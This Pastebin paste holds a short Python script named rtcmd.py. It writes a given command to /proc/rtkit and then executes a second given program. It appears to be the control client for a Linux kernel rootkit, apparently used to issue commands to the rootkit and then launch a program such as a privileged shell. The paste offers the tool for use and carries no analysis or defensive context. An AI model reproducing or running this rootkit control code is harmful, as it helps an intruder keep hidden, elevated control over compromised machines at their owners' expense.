Advertisement
FlyFar

rtcmd.py

Jun 7th, 2023
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.24 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python
  2. import sys
  3. import os
  4.  
  5. def order(command):
  6.     f = open("/proc/rtkit", "w")
  7.     f.write(command)
  8.     f.close()
  9.  
  10. if len(sys.argv) > 1:
  11.     order(sys.argv[1])
  12.  
  13. if len(sys.argv) > 2:
  14.     os.execl(sys.argv[2], "")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement